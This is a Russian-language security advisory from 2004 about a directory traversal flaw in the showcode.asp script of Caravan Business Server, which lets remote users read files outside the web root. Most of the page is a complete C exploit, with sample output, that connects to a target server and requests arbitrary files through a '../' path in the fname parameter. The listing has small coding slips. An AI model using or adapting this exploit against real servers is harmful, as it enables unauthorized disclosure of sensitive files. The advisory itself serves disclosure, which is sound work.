| Дата публикации: | 05.02.2004 |
| Всего просмотров: | 1334 |
| Опасность: | Средняя |
| Наличие исправления: | Нет |
| Количество уязвимостей: | 1 |
| CVE ID: | Нет данных |
| Вектор эксплуатации: | Удаленная |
| Воздействие: | Раскрытие важных данных |
| CWE ID: | Нет данных |
| Наличие эксплоита: | Нет данных |
| Уязвимые продукты: | Caravan Business Server 1.x |
| Уязвимые версии: Caravan Business Server и более ранние версии
Описание: Уязвимость обнаружена в Caravan Business Server. Удаленный пользователь может просматривать и записывать файлы вне Web каталога. Уязвимость обнаружена в сценарии showcode.asp. Пример/Эксплоит:
/* Showcode exploit for Caravan Web server
$dr_insane@pathfinder.gr 2004
$http://members.lycos.co.uk/r34ct/
-------
linux:~ # ./r34ct-wat3rf4ll http://insane test.asp
Showfile exploit by Dr_insane,2004
Connecting with localhost ...
Connected
Testing: GET /sample_showcode.html
HTTP/1.0 200
OK server localhost has the showcode.asp
Sending exploit...
-------
How this exploit works:
-----------------------
Firstly, it will try to connect on the host you specify on port 80.
If everything is Ok it will look for the file sample_showcode and
if the file exists it will try to exploit it.
duhh i forgot..If you want to change the server port look for the "sin.sin_port"
in the code.
-----------------------*/
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int own;
int greek(char *host) {
struct sockaddr_in sin;
struct hostent *hp;
hp = gethostbyname(host);
if (hp==NULL) {
fprintf(stderr,"Cannot find: %s\n\n",host);
return 0; }
memset((char*) &sin,0, sizeof(sin));
memcpy((char *) &sin.sin_addr,hp->h_addr,hp->h_length);
sin.sin_family = hp->h_addrtype;
sin.sin_port = htons(80);
own = socket(AF_INET, SOCK_STREAM, 0);
if((connect(own,(struct sockaddr *) &sin, sizeof(sin))) < 0) {
fprintf(stderr,"Cannot connect with %s.\n",host);
return 0;}
return 1;
void main(int argc, char *argv[]){
char total[16384];
char *ok=NULL;
char *buffer;
char *ins;
char *test="GET /sample_showcode.html";
char *path="?fname=/../../../../../../../../";
char *http=" HTTP/1.0\n\n";
int i;
fprintf(stderr,"\nShowfile exploit by Dr_insane,2004\n");
if (argc <= 2) {
printf("Usage: %s <Server> <file>\n", argv[0]);
exit(1);
}
for(i=1;i<argc-1;i++) {
fprintf(stderr,"Connecting with %s ...",argv[i]);
if(greek(argv[i])) {
fprintf(stderr,"Connected.\n");
strcpy(total,test);
strcat(total,http);
fprintf(stderr,"Testing: %s",total);
send(own,total, sizeof(total),0);
ins=(char *)malloc(1024);
read(own,ins, 1024);
ok=strstr(ins,"200");
if(ok!=NULL) {
fprintf(stderr,"OK, server %s has the showcode.asp\n",argv[i]);
memset(total,0,sizeof(total));
strcpy(total,test);
strcat(total,path);
strcat(total,argv[argc-1]);
strcat(total,http);
fprintf(stderr,"Sending %s",total);
greek(argv[i]);
send(own,total,sizeof(total),0);
printf("\n*** Server: %s ***\n",argv[i]);
buffer=(char *)malloc(40000);
while(read(own,buffer,1)>0)
printf("%s",buffer);
}
else {
fprintf(stderr,"server %s hasn't showcode.asp...\n",argv[i]);
}
printf("\n");
free(buffer);
free(ins);
close(own);
}
}
URL производителя: http://www.nititelecom.com/caravan/start.asp Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время. |
|
| Ссылки: | Caravan bussiness Server 2.00/03D "Sample_showcode" vulnerabilities |